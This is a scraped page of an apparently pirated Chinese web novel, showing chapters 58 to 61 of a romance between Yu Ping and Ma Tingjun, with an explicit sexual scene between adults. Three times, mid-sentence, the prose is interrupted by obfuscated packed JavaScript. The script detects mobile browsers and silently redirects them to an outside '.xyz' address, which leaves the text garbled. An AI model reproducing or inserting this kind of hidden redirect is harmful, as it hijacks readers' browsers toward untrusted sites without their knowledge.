;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995315|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寸大乱,掐自己半晌,才发觉掐的是麻霆君的手。麻霆君身上的负担倒反放下了,扮得更加温柔。 他将错就错地凶道:“干什么?我是你的人么。” 麻霆君道:“要是你愿意——我始终是愿意的。” 他道:“少来这套。” 第一出戏唱过,休息时间抢花篮,台上角儿挎一只宽大竹篮,里头插着各色鲜花,打台步在舞台边沿,唱几句抛一支下台。接到的人运气好,被黑衣聚在一起,预备最后抢那只大花篮。 麻霆君瞧上一眼,立刻想讨俞平的欢心,转移着他的注意力,道:“喜欢吗?我替你去抢过来,就算秋棠问我要,我也不分给她。” “不准去。”他低声道。看麻霆君委屈尽然,干脆把他拉至身边,又道,“好好坐着。” “咦,我记得你喜欢花?” “就不准,就不准!” 他就是在报复,手法太拙劣,立刻被麻霆君识破了。麻霆君有些气馁,总归是乐意遭他撒泼,怜惜着搂住他,道:“好,不准。我不去了。” 帘幕上小圆珠子上蹿下跳,台上更加热闹,看得人心惶惶。俞平想起他参加过的西式婚礼,也是一群人喝得醉醺醺,不忘讨彩头,抢新娘子手里的捧花。 那时候他与谈皎一起藏在角落,抱紧肩膀,躲避大人的脚步。他受宠惯了,也想姐姐包庇他,故意道:“阿姐以后结婚了,会把捧花送给我吗?” “我应该不会结婚。” 谈皎面色惨淡,衬得眼珠漆黑,朝他微微一笑,“我不会幸福的。” 说这话时没什么意识,他木木地道:“霆君……” 麻霆君应了声,歪着头,与他靠在一起。 步入他这般境地,早不用计较金钱与名利,来往许多人求他的垂怜,却都迈不过他的坎。 对过往四爷的生活而言,快乐与真实尤为奢侈。他所求之不得的一切,唯独麻霆君两样都献上了,并且无所保留。尽管他不愿意承认,他是爱着麻霆君的,其中贯穿的仿佛是个通顺的逻辑,细想却不尽然。他只是懦弱得昏头了,什么都不管不顾,只想永远有人做靠山。 先前享受许久麻霆君的爱意,真正有人来抢夺了才知道酸楚。亏是麻霆君一直对他好,才叫他继续蔓延着胆小鬼的坏毛病。一想起方才,又是慌得厉害,懊悔不已:这一切都太迟了,算不出自己有这番纠结,早知道最初上货轮,便不肯把麻霆君放跑,却是心惊肉跳起来——他爱麻霆君有这么早? 麻霆君在看他。台上吵得热闹,麻霆君只看他。见他也回过头看自己,麻霆君情不自禁,环抱着他紧了紧,露出一个微笑。 他还是不是四爷?也想不通了。什么都是假的,唯独他想依靠麻霆君是真的,早抵挡不住,勉强熬至这一刻前,俞平捏准麻霆君的下巴,凑上去给了他一个吻。 59.走火 说吻实在是勉强,俞平根本不会法式吻。麻霆君胡茬刮得干净,身上也香,更是叫他六神无主,唇瓣贴了很久,不知道动弹; 麻霆君尚有几分理智残存,主动张嘴吮着他的唇,再一点点索着他的舌尖——就是这样?算作开始还是结束?他被吻得脱了力,更不用说是思考,身上发软阵阵。 麻霆君再来搂他,他才轻松不少,如愿以偿地搭在麻霆君身上。 大花篮不知花落谁家,锣鼓叮当响一阵,到了下半场戏的时间。那角儿暖过嗓子,终于唱得余音婉转,咿咿呀呀,花腔拖长,勾结着俞平与麻霆君,仍不清不楚地黏在一起。 俞平先前想的清楚,事到临头又是另一番滋味:他是真爱麻霆君的,算作小小的叛逆,但是不能许下承诺。他能在谈公馆立足,靠的全然是自愿的作茧自缚,就算破茧成蝶,也是谈皎的一对翅膀。 家里迟早易主,就当是谈皎成下一任家主,也未免准许他自由恋爱;若是谈文翡翻盘,他的日子更不会好过;剩下谈行一身子太弱,真的一点用场派不上。 却是难舍难分,由唇舌打架。 直至散场,台上一起出来谢幕,观众收拾东西,总算热闹起来。俞平如梦初醒,才记得推开麻霆君。吻得实在违背本意,又舍不下。他没想过自己做事如此拖泥带水,脸上好像有泪珠滑下来,心里倒是淡淡的,没有滋味。 麻霆君抽了手绢,先细细替他清理干净,再胡乱打发了自己,低声道:“平儿,我……” 俞平怕他添乱,自己再心软,背过身去,道:“出去说。” 俞平没有随身物品,裹了围巾便起身,麻霆君收拾皮包,见他背影太决绝,犹豫再三,道:“是不是想起什么不好的事情了?” 他不响,管自己钻进人群。 爱情的小说或是戏剧,尤其是西方的文艺作品,讲究一吻定情。吻应当是情人间的胶水,也没说过分开即作冤家。挡在他前头的人群川流不息,他一个个拨开,抢了出去,嗅到几寸天光,才觉察是自己痛得麻木。 他太累了,心弦绷得太紧,找不到发泄的机会,唯独有麻霆君给他出气。 想来方才的也不是亲吻,困兽犹斗时的一场撕咬,不想过了火。他连自己都保证不了,不用说能够给麻霆君什么了。 麻秋棠与丫鬟早在汽车旁等着,只见他来,没见麻霆君,好奇道:“我哥哥去做什么事了?” 俞平怕她识破,低头闷闷道:“不知道。” 麻秋棠凑上前,非仰头看清他表情不可。扮个鬼脸,自发主持公道:“哎呀,是不是头牌朝他示好,他挡不住诱惑,惹你不高兴了?” 她说得大差不差,属实是从这里昏头的。俞平不想多费口舌,敷衍道:“你怎么知道?” 麻秋棠笑道:“这还不明显?” 丫鬟记着:“麻霆君实在不是东西,在俞平和戏班头牌之间来回犹豫,最终抛弃了俞平。欲知后事如何,请看下章分解。” 车钥匙捏在麻霆君手里,他们三个走不掉。俞平不敢细究那丫鬟写了什么,绕去一旁。末了来一群衣着光鲜的小姐,把麻秋棠簇拥其中。女孩们嬉笑一阵,麻秋棠跑出来,朝他说:“嗳,我先走了!” 俞平道:“去哪?” 麻秋棠道:“我跟我小姊妹的车回去,在枢城多住几天。家里都知道的,你记得和哥哥讲一声,他懂的。” 丫鬟边走边写:“下一章:麻霆君悔恨无涯,痛改前非,俞平门前立雪。” 麻秋棠挽了丫鬟的臂膀,又回头道:“再见!” 她们前脚才走,后脚看见麻霆君来了,手里提一只花篮。 枢城的冬天理应是养精蓄锐的,这花篮里却是五彩缤纷。俞平数着品类,麻霆君看他目不转睛,笑着把鲜花拢成一束,玫瑰月季之类,清香扑鼻,塞在他怀里,道:“我去问抢到花篮的人买了,叫你们等了久……没看见秋棠,她已经走了吗?” 俞平道:“走了。” 麻霆君笑道:“我大哥追我二嫂嫂,常来枢城看戏,秋棠嚷着要一起,结交了许多朋友,感情一直很不错。” 又道:“我今晚订的是友好饭店,你放心,两间房。底下餐厅不错,特地等你一起的。” 俞平轻声道:“随便。” 麻霆君替他开了车门。 汽车驶出戏园路,不久看见路旁有两个人吵架,大抵都是有头有脸之人,围观者浩浩荡荡。碰巧信号灯阻拦在前,不让通行,俞平开一丝窗户,耳朵飘了过去。 “心急什么,又不会亏了你们!” “平时号称给四爷供的货,四爷要回来了,看你们怎么办!也就敢欺负我们。” “四爷不是死了?” “你才死了,你做这种烂事,全家都该死了!” 凡有吵架的,最喜欢拿他做威风,因为藏得太好,没人知道确切底细。哪怕在鹭镇,提及四爷,都是一阵乌烟瘴气。免不了他们的功劳。 “平儿。” 麻霆君叫他。俞平随便应了声,继而长长叹了一口气,关上窗后,抠按钮的手指不肯松,微微发着抖。 “刚认识的时候,詹老板带你一起来我家,你叫我起床,我正好梦到了你。我记得很清楚,我们一起在街道上走,你问我愿不愿意一直在一起,我来不及回答,没想到睁眼就看到了你。可惜今天天黑得早……不过,这一定是我梦里的一天。” 麻霆君眼底有些许羞涩,被他的微笑抹了去,又道,“倒不是我存心想占你便宜,平儿,我承认,我确实对你一见钟情。认识的时间久了,兴许你也在慢慢接纳我。既然方才你愿意对我好,我想,我们的关系可以更进一步。” 俞平发不出声音。 非要在今天。他原先设想得好,真正坐稳了四爷的位置,再回来给麻霆君一个惊喜。偏是没把持住,草草开了头。 可惜明天又不知道身处何地——往反方向去是滨江,倒不如现在掉头,省得夜长梦多。细想好像又回不去,他出事太在节骨眼,那头谈皎辛辛苦苦布局,此般莽撞,必将牵一发而动全身。谈凭玉是死是活不由他说过,他在他的节日里成了游魂。 算了。 麻霆君总不是随便之人,若是真的愿意爱他,也不及这几个月的功夫。抛弃了旧的年岁才能更进一步,成长必当是忍让与放弃,何况他实在是心有余而力不足。如果他还是谈凭玉,他不肯答应的——算了。 先做了决定,谈不上轻松,不见心上石头落地,只听得一阵滴答作响,想来是“闲敲棋子落灯花”,心上结的痂簌簌地掉,却也不知道从什么时候受的伤。 他坐直了,道:“因为我吻了你吗?没必要。” 彼时爱得太热烈,麻霆君真当自己十拿九稳,没想过他会拒绝。犹豫片刻,道:“是我哪里做得不够好?……我确实是初吻,太生疏,但我可以学。” “不是的。”俞平轻轻道,“你非要问的话,‘我不想这样’,算是一个理由。” 麻霆君忙道:“你既然不想这样,为什么……” 幸而当初身份选得好,现在怎么说都不要紧。俞平不等他说完,打断道:“我习惯了。” 路况不算太明朗,麻霆君不肯气馁,尽力抽空试探他几眼,小心翼翼地道:“是不是我不答应贴给四爷,你才不肯答应我的。” 俞平嫌他太荒唐,道:“我要是说‘是’,你要去找他吗?” 却真没等来麻霆君答复,吓他一跳,又道:“真给我考虑上了?” 麻霆君闷闷不乐道:“没有考虑。我有点难过,不知道说什么。” “被拒绝哪有不难过的,你也是过得太顺,习惯就好了。” “那,你还和我一起吃饭吗?” “回鹭镇也可以。” 麻霆君调了座位,收束得更狭窄。 欺负麻霆君是锦上添花的美差,此般落井下石,俞平心里更不好受,当即想要反悔,却是开弓没有回头箭,撇过头去看街景。枢城不过圣诞节,何况才是平安夜。今天天阴,没有天色可言,灰蒙蒙罩了一片。 听清边上抽噎一声,俞平立刻转头去看他。麻霆君的眼眶红得太明显,又是紧紧抿着嘴。 “对不住,实在是对不住。我没精力开车回去,要先在友好饭店歇息一夜,明天才能赶路。” 憋着倒也还好,眼泪往心里流就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011934|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是了。麻霆君一开口,所有情绪都爆发出来,难免有些哽咽,说几个字停一阵,“你要是介意,我雇人送你回去。” 俞平淡淡道:“多歇一晚没什么大不了的,别折腾了。” 友好饭店是中外合资,又因为是中外合资才作友好。大堂里设了棵圣诞树,缀着些小礼物盒子,里头包的大概是石头,不比香岛家里的气派,针叶上尘埃也没擦掉。 休息区比戏园子更热闹,俞平不想和他们挤,跟在麻霆君身边。 前台人员拨弄一阵,面带歉意,道:“先生,我们只有一间房。” 麻霆君愣了愣,看过俞平躲闪眼色,道:“我订的是两间。” “是的,先生,您订的其中有一间停电,今天只剩一间房了。我们会连同赔偿金一起返还给您。” 最后剩下一间套房,只支一张大床,暧昧得不合时宜。俞平先占了窗边的单人沙发椅,随手抄边上的外文书籍翻看,故意干坐着,不肯去吃晚饭。麻霆君想避嫌,拨电话给他叫餐,侍者推餐车来,才独自出了门。 留下俞平在房间,总算上了发条似的,慢慢做一些事。修了鲜花,再管自己吃饭洗漱,借床头灯继续看书。葡萄牙语,他早忘光了,反过来有英文注释版,照样读不懂。 熬至午夜,麻霆君回来,俞平放下书,发觉他手上新抱了床被子。 他不自然笑了笑,解释道:“你管自己休息,我睡沙发。” 俞平不由得挑了眉毛。目光打回自书页,到底是什么都没看进去,再随便翻了页,装着漫不经心,道:“沙发这么小,你这么大,躺不下的。” 麻霆君手上动作一停,跨到沙发旁比了比,真是他说得准。继而收拾起床边的空地,把拖鞋和行李往边上挪了挪。 俞平瞥一眼,没想过他锲而不舍,又翻一页,道:“你睡我边上好了,地上这么脏,还冷。” 麻霆君逞强道:“你不用担心我。” 俞平道:“你是信不过我,还是信不过你自己?” 麻霆君才讪讪叠了被子,安置在沙发,另把枕头交给俞平靠在身后,站在床边不知所措一阵。俞平交了书,他替俞平熄了灯,掖好被角,才进盥洗间洗漱。 此般漆黑,伸手不见五指,俞平数自己眨了几次眼,终于盼来麻霆君钻在床的另一头。 他道:“晚安。” 麻霆君也含糊地道:“晚安。” 这被褥太硬,一点点动静都相伴一阵摩挲声。麻霆君那里一阵排山倒海,好不容易才平息,他微微侧头,看出麻霆君是背着他睡的,肩膀宽阔过了头,顶上棉被隆起得像是座小丘,海中浮岛般孤零零躺在床上。 今天既是平安夜又是生日,好像都没什么实感。 十九岁给自己的礼物,竟是拒绝了麻霆君——俞平当然爱麻霆君,究竟又做了些什么?心里思来想去,不免泛一阵悲哀。 想来他没有误入歧途,依旧是谈凭玉,悲哀却也空落落的,自脚心刺进他的身体。他往棉被里蜷,悲哀消不去,穿在骨髓里。 麻霆君便往底下踢了一脚,使他那头的被子彻底盖到底。又轻轻往回扯了扯,不见棉被动弹,明白他被裹得严实,再继续装死。 窗帘没拉全,窄窄透一线天,外头是亮着的,泄进一方地毯。天使若是降临,必然是靠这一束光了。面对这道阶梯,也不知道麻霆君怎么睡得熟。 不能就这么算了!俞平忽然涌上一股热血。 他从小被人照顾惯了,没什么大男子主义。难得叛逆一场,更是亢奋。寿星有被容许犯错的权力,又逢佳节,所以只在此时,太阳还未升起,拥抱、亲吻,准许他爱麻霆君——一切都是被允许的。 计划瓜熟蒂落地比他预想中更快,多少有些玩弄麻霆君于股掌之间的愧疚。 难道麻霆君会不乐意?一想如此,俞平按捺不住,语气轻松不少,道:“嗳,你想不想知道?其实今天才是我的生日。” 麻霆君的背影甚是安详,其上的棉被随呼吸起伏有致,不知道睡没睡熟。他猜没有,悄悄靠过去,贴上麻霆君的后背,道: “霆君,我想你抱着我。” 麻霆君周身一僵。 60.重游 麻霆君仍然不作声,俞平贴在他脊背,连呼吸都听不出,往他肩上拧一把,没想到僵硬照旧。更是气上心头,底下狠狠踢踹一脚,道:“麻霆君,你不是在追求我吗?怎么抱一下都不肯。” 麻霆君支吾道:“你不是不答应吗?” 这一开口实在窝囊,俞平的好心情顷刻回来了,却忍着笑,凶道:“我不答应你,你就放弃了?平时真看不出来,你有这么功利?” 又撒泼性质地踢一通被褥发泄,噼里啪啦,趁乱攥紧了他后领,道:“之前说得好听,叫我考验你,你怎么经得住?轻言放弃的男人,有什么用!” 麻霆君道:“玩不过你!” 俞平听见后嗤笑一声,松了手。他到底还是不肯转身。俞平便靠拢过去,抱着他,手臂环着他的腰。 “活该,谁叫你喜欢我。你为什么会喜欢我?” 麻霆君不挣扎,简短答道:“你好看。” 俞平愕然道:“这么简单?” “你以为?” “我有很多美德,是个好人。” “不见得。” 俞平心里骂他:总算肯说实话,世上哪有这么多无缘无故的好。 嘴上撒娇扮弱小,道:“霆君,我知道是你个有内涵的人,不至于这般肤浅。” 又道:“那么,就是我在镇上无依无靠,以前也不是正经人,玩腻了,一脚踹开便是,不用负责。” 被冤枉的滋味不好受,麻霆君果真激动不少,大声道:“我没你想得这么品行不端!抛去感情,我一直平等看待你,我不信你察觉不出来!” 俞平笑道:“好,知道你是正人君子。” 可惜他奋起不过一刹,重新掖了被角,气鼓鼓地缩成一团。俞平抬头衔他的耳廓,轻轻道:“你养的狗亲我,你嫉妒了,想把我占为己有,这样大家都是一家人,也没有偏心一说了。” “睡觉吧。”麻霆君低声道,“你要是睡不着,我给你念睡前故事。” 俞平置之不理,吮一会他的耳垂,又道:“我是大城市来的,还会讲英文,你觉得我很有本领。” 麻霆君不说话。他继续道:“我和你打架了,没打赢,你就是喜欢把男人压在下面,才开始对我图谋不轨。” 还不见麻霆君理他,他支胳膊肘起身,半个身子撑在麻霆君身上,道:“我总是欺负你,你也是只狗,就喜欢被我欺负。” 真叫是可忍孰不可忍了,麻霆君气得无处发泄,返身来挠他痒,他笑得喘不过气,道:“哪有男人喜欢被其他男人欺负的,看来我是对的,还好没答应你,你笨得不可理喻了!” 麻霆君喊道:“多晚了,快睡觉!” 俞平道:“你抱我,否则我不睡觉!” 麻霆君拗不过他,只得依了。他乖巧地往后退,叫麻霆君转了身。麻霆君轻轻拢着他的后背,又是伸胳膊叫他枕。他往麻霆君怀里偎了偎,腿脚仍然冷,干脆缩着,捂在麻霆君腰腹间。 “嗳,这是什么。”他忽然笑起来,捉了过去。 麻霆君迟来一阵警觉,道:“俞平!” 既然阴谋诡计被识破了,不如坦然些。俞平自他结实肌肉一顺到底,净是握着他,不肯动手,道:“一直平儿来平儿去,恨不得在头顶上纹这两个字,怎么成俞平了?变心这么快,以后你再保证什么事,叫我们怎么相信?” 麻霆君便哀哀地倚过来,讨饶道:“平儿,别拿我寻开心了。” 俞平笑道:“都和我睡一起了,装什么?” 麻霆君苦苦道:“我只是想睡觉!” 俞平正要发力,麻霆君逮着他手背,他动弹不得,便轻轻吻了麻霆君的鼻梁,笑道:“没什么大不了的,擦枪走火是常事啊,五爷。” 麻霆君不肯,他又道:“松手。一直很乖的,怎么不肯听话了?” “别这样。” 听得出麻霆君哭腔,这人道德感太重,平时多么可靠,这时倒反添了几分可爱。他便耐心了些,安生哄道:“我喜欢你,我想对你好。” 麻霆君惶急道:“你骗人!” 俞平扑哧一笑。麻霆君才愣一愣,道:“你喜欢我?” “感觉不出来?”不经意说了实话,俞平不想被他捏准,眼珠一转,又道,“朋友么,相互帮助一下也不要紧。” 麻霆君慌了神,道:“你少骗我,我也有其他朋友!” 俞平懒得较真,暗暗发了力,麻霆君正要开口,先粗喘一声。俞平一时心花怒放——他愈是可怜,俞平愈想欺负他,狠狠捏他一把,踩他一脚。到头来逼得麻霆君焦头烂额,把俞平拘到怀里,安生赔上了一个吻。 俞平道:“那天他们问我,五爷是不是一柱擎天……我现在才答得出来。” 说罢要掀棉被,往下看他硕果累累,被麻霆君摁住,道:“你别看了。” “是怕我看了自卑?不过我识得出来,五爷当真壮得过头,叫我怎么比?”俞平轻笑道,“我们五爷生得这般好,也不知道要便宜谁。” 麻霆君埋在他的肩头,鼻息喷在他修长的颈上。 他便蹭起麻霆君的鬓发,道:“平时谁帮你弄?” 麻霆君屈辱地道:“不知道。” 俞平笑道:“憋着?从小憋到大的?” 麻霆君经不起折磨,道:“没有……” “总得想点什么才弄得出来吧,你想什么?” 他又不肯开口,俞平咬着他的下唇,道,“不说?我一个个猜过来。” 麻霆君真怕他开口,忙道:“想你。” “想我什么?” 麻霆君干脆把他压在身下,二人底下挤在一起,不留余地,他便握得更紧,笑道:“哪里洁身自好了?真下流。” 谈家做事雷厉风行,讲究快准狠,又说是“无毒不丈夫”,养小少爷必当是刁钻。此般更甚,麻霆君不想失了风度,咬紧牙关,坚持好一阵。 俞平几乎上了毕生所学,照旧不见他松懈,便奇怪道:“还没好?” 麻霆君小声道:“不是越久越好么?” 俞平道:“越久我越没耐心哄你,蠢货。” 再捉弄着麻霆君,总算得来一阵粘腻,他便把他们的贴在一起。麻霆君自作聪明,把他抱在身上,征求道:“我也帮你?” 俞平道:“想占我便宜?” 麻霆君难得强硬一回,攥着腰身拆绳结,道:“你以前在上面还是下面?” “看五爷是什么意思。”俞平道,“五爷叫我去哪里,我说一不二。” 言罢俯身吮起麻霆君的唇,如痴如醉吻了起来。麻霆君侧倒过来,面前是墙壁,他被拘束其间,说是被伺候一场,却感到麻霆君手上的活计不大细致,仿佛格外粗枝大叶一些。 他扭着上身,扣麻霆君下巴索吻,麻霆君便严严实实覆着他,吮着他的唇,手下不止变换着,旋着,扭着。麻霆君的手掌又宽阔又温热,其间结着几个坚硬的茧,他情难自已也是常事,闷哼一声,什么都交了。 只是还被牢牢顶着,俞平顺手蘸着几点滑腻,又拨了拨,笑道:“我的五爷,有这么气血方刚?” 麻霆君还要来吻他,手不安分,捉着他的手腕下移。他却道:“我手酸了,握不住。” 麻霆君一怔,道:“那就休息吧,要淋浴还是泡澡?我自己弄了。” “慢着。”俞平缓缓道,“你童子身二十多年,说着也不好听,不如在我这里了结了。我全身上下又不止一双手。” 麻霆君摇摇头,道:“我不做这种乘人之危的事。” 俞平道:“你是不是男人?” 麻霆君道:“我是个有底线的人,你再诱惑我也没用。” 俞平嗤笑道:“刚刚算什么?” 麻霆君撑过来,捏着他的下巴,强买强卖来一个吻,道:“算我被你欺负的。” 俞平滚在他身上,道:“求我。” “求求你。” 摊上了俞平,便没有百依百顺的好事,虽是帮他消解着,却不肯叫他休息,一波未平,再折磨得另一波又起,逼得麻霆君浑身骨头被打酥了,陷在床里,发不出声,只用气声求饶:“好了,好了。” 俞平便道:“好什么?说是‘金枪不倒’,我看还能再来几次。” 麻霆君道:“平儿,可怜可怜我,我命都要给你了。” 他弹着麻霆君的鼻尖,笑道:“那怎么称得上是男人?我看,你是我的小狗。” “都是,都是。” 俞平哈哈笑一阵,教他抱自己重新去洗漱。总算凑合了一夜,醒来方是次日中午,俞平慢慢坐直,伸个懒腰,扭头看见麻霆君躺在地毯上,约是一夜没合眼,倦得双目通红。 见俞平醒来,他拘谨一笑,道:“早上好。” “中午了,算什么早上。”俞平道,“睡得好吗?” 麻霆君讪讪道:“好。” 俞平掀棉被起床,从床尾穿衣凳捞衣服,一件一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023077|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 件往身上套,羊绒蒙在鼻尖上有些搔痒,好不容易穿进去,麻霆君忽然从背后环抱着他,蹭在他的肩头,道:“平儿,我不好。是我一时冲动了,我不想再这样。” 俞平道:“不想怎么样?” 麻霆君抱他紧了紧,道:“我不是什么轻率之人,很愿意把你当成我人生的一部分对待,也知道你在考验我。可是我想你对我也有着好感,不如互相更近一步,先试一试……实在接纳不了,我们重新讨论过,好吗?” 可是俞平不想拒绝,返身与他拥抱在一起。 先前俞平最恨别人骗他,自己却骗得麻霆君团团转。然而抱了麻霆君,纵使正漂泊着,也好像到了家,不愿放手。这便不太好周旋了——俞平没有再撒谎的道理,都说万事开头难,他鼓起勇气,道:“你有没有想过,我什么都是骗你的,我根本不是俞平?” 麻霆君道:“你不是俞平,你是谁?” 可惜翡翠扳指在阁楼没带出来,当是空口无凭了。他倒是猜想麻霆君肯信他,尽管自己说得也不太有底气: “谈凭玉。” 听得出麻霆君如释重负,笑了笑。他赶紧道:“不骗你,我真是谈凭玉!” 麻霆君温柔地吻他的脸颊,道:“哪怕你变成一株绿萝,我也天天把你抱在怀里,浇水施肥。” 他心上一寒,退出那怀抱。麻霆君捧着他的脸,眼里无限宠爱,又道:“你若是真的骗我了,我也心甘情愿被你骗。只要是你——无论你是什么,我都会爱你。” 事已至此,俞平不想多费口舌,低着头,道:“我晚一点再告诉你。” 麻霆君替他穿戴好,系上围巾,道:“依你喜欢的来。” 走时麻霆君包了花,抱在左手,右手提皮包。俞平不想太张扬,只牵了他的衣摆,若即若离地一道走。退房的押金与补偿金并作一张支票,麻霆君顺手鼓了他的私囊。 他倒是没心情,去圣诞树上偷偷拧下一包礼物,拆了彩纸包装,倒出颗冰冷的石子。 枢城道路平整,开出许久,俞平仓促转头看清楚,不知身处何处。他早失了判断力,只想依靠麻霆君。 那段做谈四爷的日子,看似惹人艳羡,实际是天上密布的乌云,旁人打伞,唯恐不及,麻霆君是唯一一个肯抬头看他的人——只有麻霆君的爱最是纯粹,俞平心尖一颤—— 却是做不出什么漂亮表情,单独惨淡一笑:“我想清楚了,我们做恋人。” 哪知道麻霆君比他更加惨白,脸上毫无血色。他一时十分骇然,余光看着前路,晃着麻霆君的肩膀,大声道:“麻霆君,我也爱你,听见没,振作些!” 麻霆君才道:“真的?你真的这么想?” 俞平闭眼道:“假的!” “是真是假,我自有定数,你扇我一耳光试试!” “讨打还要找借口!” “可我真的好不可思议!” 俞平扬手作势要打,麻霆君亲热地挨过来,他却缩在一旁,笑道:“我偏不!等下你心里爽快了,我的手可脏了。” 麻霆君咬着下唇,吃吃笑起来,开车也三心二意,乱揿一阵喇叭,逼得前车特地开窗来破口大骂。他们被勒令放缓了车速,路旁洋房上张贴的巨幅海报映入眼帘,红底黑边,几个挺拔人物翩跹其上,像是水晶球里的童话景色,唯独缺一点糖霜似的雪。 苏俄芭蕾舞团演出,胡桃夹子! 俞平有些触目惊心。 一窗之隔,仿佛是另一个世界。走的竟是一模一样的路,没见得来时这般温馨。原来枢城也是过圣诞的,马路边上充满欢声笑语,树上挂着小彩灯,通了电后一亮一亮。唱诗班的孩子们制服整齐,正排着队进教堂。 通行灯灭了,麻霆君踩着刹车,算准时间,捏他的下巴吻他。 有情人终成眷属,他心上本该暖融融地填着,但是愈加神志不清。 断然只有勇者才能改变,幸福便是给勇敢者的奖赏。他接纳了麻霆君,往后必然都是幸福的日子,他心里却泛起一阵最后的悲哀,随便找个借口,推开麻霆君,再转了头。 洋房、商铺,街景接连不断地过。他距离过去的谈凭玉越来越远,却又无能为力,就像十八岁,十九岁,马不停蹄,梦一样地过去了。 谈凭玉必当是被淹死了,留下他爱麻霆君。他要奔向幸福,便是背叛了谈皎,他不能再算作他自己。……汽车驶远,喧闹声逐渐抛在脑后,谈凭玉枕在窗口,眼角悄然爬下一滴泪。 61.喜酒 枢城。 今年春节格外早,滨江一带结婚的人也多。一场场喜酒吃下来,多少有些分不清结婚的是谁。幸而谈公馆依然凄清,无论在外头喝得多醉,一回去立刻清醒了。 谈行一身体难得好几天,受三姨太鼓舞,和他们一块去婚宴。然而经不住折腾,体力不支,吃几口盹一阵。好不容易到了家,几步路走得软软绵绵,两个丫鬟一左一右,都扶不住他。 其他人歇脚等着,他一口一个“姐姐”,贴了上去。 三姨太笑道:“嗳,多大的人了,还喜欢亲你姐姐。” 谈行一挽着谈皎的手臂,塌在谈皎身上。病久的人物,能够站得稳便是上上签,不提多少男子气概,加上他中长发柔软的顺垂着,活像只长毛猫。一行人见怪不怪,由他去了。 三姨太又道:“今天结婚两家拆烂污,细究是一户高攀,另一户小气,说是自由恋爱,菜都不肯好好下本。可怜我们。等行一打算结婚了,我们肯定好好办一场。” 谈行一睫毛拨开碎发,投给她一眼,道:“我要是结了婚,世上便早早多一个寡妇。” 三姨太笑道:“你真还是小孩,净说些晦气话。” 正是谈皎死过未婚夫,以往有男婚女嫁之事,一概避着她。年关将近,今夜喜气洋洋,倒是什么不成文的规矩都不作数了。谈皎听他们一搭一搭吵着,只觉得婚礼没办完,插不进话,刮着手里戒圈,把顶上钻石转到手心里。 又说起凭玉的事情——早前他失踪,举家上下慌张,不像有假。时日一多,等来的不是死讯,竟成了去东洋吃酒捧花魁。又因为没什么人见过他,凡有去东洋的,回来后各种传言传播开来,绘声绘色,叫邻居们看笑话。 谈皎想起她最应当参与,才道:“凭玉和我通过电话,说是还要再留一阵。” 谈行一挤她的落脚点,笑道:“姐姐,你不管他?” 谈皎道:“总该有自己的想法……” 她难得笑了笑,不再多语。三姨太也笑,道:“咦,他真是玩疯了,要带个花魁回家,老谈有口血好吐。” 谈行一便道:“花魁怎么了?有就不错了,总比我们强。” “倭人的女人,听说格外体贴一些,凭玉见识太少,被套牢也是难免。怪我们,没带他出去玩,这‘一朝被蛇咬,十年怕井绳’的,老谈一直不让。” 三姨太抱怨一阵,轻轻推了把谈行一的肩,道,“嗳,不提凭玉了,来担心担心你。你要找什么女人?要是是那批湿地暴发户,我可丢不起这个人,宁可饿肚子也不来吃你的酒了。” 谈行一随口道:“还是蕙心好点。” 三姨太道:“蕙心是好,可惜被文翡退婚了,你们又是兄弟,说出去要被戳脊梁骨骂的。” 又道:“你若是不怕闲话,我们倒能为你争取一下。” “我当然怕!”谈行一笑得浑身散了架,“好事都让二哥占尽了。他是恶霸!” 寒风阵阵,三姨太嫌冷,先缩着脖子逃进公馆。谈行一抓着她的围巾一道进去,走出几步顿了顿,回头看见谈皎依然在原地,道:“姐姐,不和我们一起?” 谈皎道:“喜酒吃得太闷,我去透气。” 三姨太道:“早点回来,当心着凉!” 谈皎散了边上佣人,径自往里头走。边走边算。新年免不了祭祖,真正新年的那几天又是事务缠身,多少年没去祭拜母亲?记不清了。 经过喷泉,身影倒映在水面,看见自己的脸,想到母亲,心上有些触动,却不相信母亲长得与她一样,母亲好像面目可憎一些。 至于父亲?她从来不记。 此间鸦雀无声,少倾听见边上一阵骚乱,原来是灌木丛底下钻了一只猫。谈皎不会对付猫,只蹲在小径上,默默注视着。这猫坐得拘谨,像一只花瓶,两只眼睛闪闪发亮;又倏地踏断几根细枝,掉头跑了。 她不用回头。长发打在她呢子斗篷上,噼啪起着静电。谈文翡来了。 “大小姐。” “嗳,二爷。” 明里暗里斗到现在,谁都不肯服软,更不用说回归原本的姐弟称呼,便一直这么叫下去了。谈文翡牵着她起身,一并坐在喷泉的大理石台上,开口道:“家里事情多,你一个人操心起来,也不容易吧?”< 